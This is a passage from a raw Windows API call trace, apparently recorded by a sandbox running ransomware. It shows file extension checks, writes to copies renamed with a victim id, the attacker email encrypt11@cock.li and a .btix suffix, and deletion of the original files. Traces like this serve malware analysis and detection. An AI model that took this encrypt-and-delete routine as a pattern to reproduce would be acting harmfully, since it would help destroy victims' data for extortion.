lstrlenW (lpString=".ppt") returned 4 [0045.662] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.662] lstrlenW (lpString=".zip") returned 4 [0045.662] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.662] lstrlenW (lpString=".rar") returned 4 [0045.662] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.662] lstrlenW (lpString=".bz2") returned 4 [0045.662] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.662] lstrlenW (lpString=".7z") returned 3 [0045.662] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.662] lstrlenW (lpString=".dbf") returned 4 [0045.662] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.663] lstrlenW (lpString=".1cd") returned 4 [0045.663] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.663] lstrlenW (lpString=".jpg") returned 4 [0045.663] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.663] lstrlenW (lpString=".doc") returned 4 [0045.663] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.663] lstrlenW (lpString=".docx") returned 5 [0045.663] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0045.663] lstrlenW (lpString=".pdf") returned 4 [0045.663] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.663] lstrlenW (lpString=".xls") returned 4 [0045.663] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.663] lstrlenW (lpString=".xlsx") returned 5 [0045.663] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0045.663] lstrlenW (lpString=".ppt") returned 4 [0045.663] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.663] lstrlenW (lpString=".zip") returned 4 [0045.663] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.663] lstrlenW (lpString=".rar") returned 4 [0045.663] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.663] lstrlenW (lpString=".bz2") returned 4 [0045.663] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.663] lstrlenW (lpString=".7z") returned 3 [0045.663] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.663] lstrlenW (lpString=".dbf") returned 4 [0045.663] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.663] lstrlenW (lpString=".1cd") returned 4 [0045.663] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.664] lstrlenW (lpString=".jpg") returned 4 [0045.664] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.664] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0045.664] lstrlenW (lpString="join.avi") returned 8 [0045.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.664] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=199994) returned 1 [0045.664] CloseHandle (hObject=0x320) returned 1 [0045.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0045.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.664] lstrlenW (lpString=".doc") returned 4 [0045.664] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.664] lstrlenW (lpString=".docx") returned 5 [0045.664] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0045.664] lstrlenW (lpString=".pdf") returned 4 [0045.664] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.664] lstrlenW (lpString=".xls") returned 4 [0045.665] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.665] lstrlenW (lpString=".xlsx") returned 5 [0045.665] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0045.665] lstrlenW (lpString=".ppt") returned 4 [0045.665] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.665] lstrlenW (lpString=".zip") returned 4 [0045.665] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.665] lstrlenW (lpString=".rar") returned 4 [0045.665] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.665] lstrlenW (lpString=".bz2") returned 4 [0045.665] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.665] lstrlenW (lpString=".7z") returned 3 [0045.665] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.665] lstrlenW (lpString=".dbf") returned 4 [0045.665] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.665] lstrlenW (lpString=".1cd") returned 4 [0045.665] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.665] lstrlenW (lpString=".jpg") returned 4 [0045.665] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.665] lstrlenW (lpString=".doc") returned 4 [0045.665] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.665] lstrlenW (lpString=".docx") returned 5 [0045.665] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0045.665] lstrlenW (lpString=".pdf") returned 4 [0045.665] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.665] lstrlenW (lpString=".xls") returned 4 [0045.665] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.665] lstrlenW (lpString=".xlsx") returned 5 [0045.665] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0045.666] lstrlenW (lpString=".ppt") returned 4 [0045.666] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.666] lstrlenW (lpString=".zip") returned 4 [0045.666] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.666] lstrlenW (lpString=".rar") returned 4 [0045.666] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.666] lstrlenW (lpString=".bz2") returned 4 [0045.666] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.666] lstrlenW (lpString=".7z") returned 3 [0045.666] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.666] lstrlenW (lpString=".dbf") returned 4 [0045.666] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.666] lstrlenW (lpString=".1cd") returned 4 [0045.666] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0045.666] lstrlenW (lpString=".jpg") returned 4 [0045.666] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.666] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0045.666] lstrlenW (lpString="split.avi") returned 9 [0045.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.666] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=181964) returned 1 [0045.666] CloseHandle (hObject=0x320) returned 1 [0045.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0045.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0045.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0045.667] lstrlenW (lpString=".doc") returned 4 [0045.667] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.667] lstrlenW (lpString=".docx") returned 5 [0045.667] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.667] lstrlenW (lpString=".pdf") returned 4 [0045.667] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.667] lstrlenW (lpString=".xls") returned 4 [0045.667] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.667] lstrlenW (lpString=".xlsx") returned 5 [0045.667] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.667] lstrlenW (lpString=".ppt") returned 4 [0045.667] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0045.667] lstrlenW (lpString=".zip") returned 4 [0045.667] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.667] lstrlenW (lpString=".rar") returned 4 [0045.667] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.667] lstrlenW (lpString=".bz2") returned 4 [0045.667] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.667] lstrlenW (lpString=".7z") returned 3 [0045.667] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0045.667] lstrlenW (lpString=".dbf") returned 4 [0045.667] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0046.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0046.962] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0046.962] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0046.963] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0047.280] GetLastError () returned 0x0 [0047.280] ReadFile (in: hFile=0x37c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x374c, lpOverlapped=0x0) returned 1 [0047.452] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x3750, lpOverlapped=0x0) returned 1 [0047.581] ReadFile (in: hFile=0x37c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0047.581] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xea, lpOverlapped=0x0) returned 1 [0047.581] SetEndOfFile (hFile=0x358) returned 1 [0047.604] CloseHandle (hObject=0x358) returned 1 [0047.605] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0047.605] SetEndOfFile (hFile=0x37c) returned 1 [0047.607] CloseHandle (hObject=0x37c) returned 1 [0047.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.607] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0047.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0047.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0047.607] lstrlenW (lpString=".doc") returned 4 [0047.607] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0047.607] lstrlenW (lpString=".docx") returned 5 [0047.608] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0047.608] lstrlenW (lpString=".pdf") returned 4 [0047.608] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0047.608] lstrlenW (lpString=".xls") returned 4 [0047.608] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0047.608] lstrlenW (lpString=".xlsx") returned 5 [0047.608] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0047.608] lstrlenW (lpString=".ppt") returned 4 [0047.608] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0047.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0047.608] lstrlenW (lpString=".zip") returned 4 [0047.608] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0047.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0047.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0047.608] lstrlenW (lpString=".doc") returned 4 [0047.608] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0047.608] lstrlenW (lpString=".docx") returned 5 [0047.608] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0047.608] lstrlenW (lpString=".pdf") returned 4 [0047.608] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0047.608] lstrlenW (lpString=".xls") returned 4 [0047.608] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0047.608] lstrlenW (lpString=".xlsx") returned 5 [0047.608] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0047.608] lstrlenW (lpString=".ppt") returned 4 [0047.608] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0047.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0047.608] lstrlenW (lpString=".zip") returned 4 [0047.608] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0047.609] lstrcmpiW (lpString1=".gif", lpString2=".btix") returned 1 [0047.609] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23 [0047.609] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0048.189] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=165) returned 1 [0048.189] CloseHandle (hObject=0x364) returned 1 [0048.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0048.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.189] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0048.189] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.189] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.189] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0048.190] GetLastError () returned 0x0 [0048.190] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xa5, lpOverlapped=0x0) returned 1 [0048.190] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xb0, lpOverlapped=0x0) returned 1 [0048.191] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0048.191] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x102, lpOverlapped=0x0) returned 1 [0048.191] SetEndOfFile (hFile=0x398) returned 1 [0048.192] CloseHandle (hObject=0x398) returned 1 [0048.192] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.192] SetEndOfFile (hFile=0x364) returned 1 [0048.193] CloseHandle (hObject=0x364) returned 1 [0048.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.193] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0048.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.193] lstrlenW (lpString=".doc") returned 4 [0048.193] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0048.193] lstrlenW (lpString=".docx") returned 5 [0048.194] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0048.194] lstrlenW (lpString=".pdf") returned 4 [0048.194] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0048.194] lstrlenW (lpString=".xls") returned 4 [0048.194] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0048.194] lstrlenW (lpString=".xlsx") returned 5 [0048.194] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0048.194] lstrlenW (lpString=".ppt") returned 4 [0048.194] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0048.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.194] lstrlenW (lpString=".zip") returned 4 [0048.194] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0048.194] lstrlenW (lpString=".rar") returned 4 [0048.194] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0048.194] lstrlenW (lpString=".bz2") returned 4 [0048.194] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0048.194] lstrlenW (lpString=".7z") returned 3 [0048.194] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0048.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.194] lstrlenW (lpString=".dbf") returned 4 [0048.194] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0048.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.194] lstrlenW (lpString=".1cd") returned 4 [0048.194] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0048.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.194] lstrlenW (lpString=".jpg") returned 4 [0048.194] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0048.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.194] lstrlenW (lpString=".doc") returned 4 [0048.194] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0048.194] lstrlenW (lpString=".docx") returned 5 [0048.194] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0048.194] lstrlenW (lpString=".pdf") returned 4 [0048.194] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0048.194] lstrlenW (lpString=".xls") returned 4 [0048.195] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0048.195] lstrlenW (lpString=".xlsx") returned 5 [0048.195] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0048.195] lstrlenW (lpString=".ppt") returned 4 [0048.195] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0048.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.195] lstrlenW (lpString=".zip") returned 4 [0048.195] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0048.195] lstrlenW (lpString=".rar") returned 4 [0048.195] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0048.195] lstrlenW (lpString=".bz2") returned 4 [0048.195] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0048.195] lstrlenW (lpString=".7z") returned 3 [0048.195] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0048.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0048.195] lstrlenW (lpString=".dbf") returned 4 [0048.195] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0048.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") 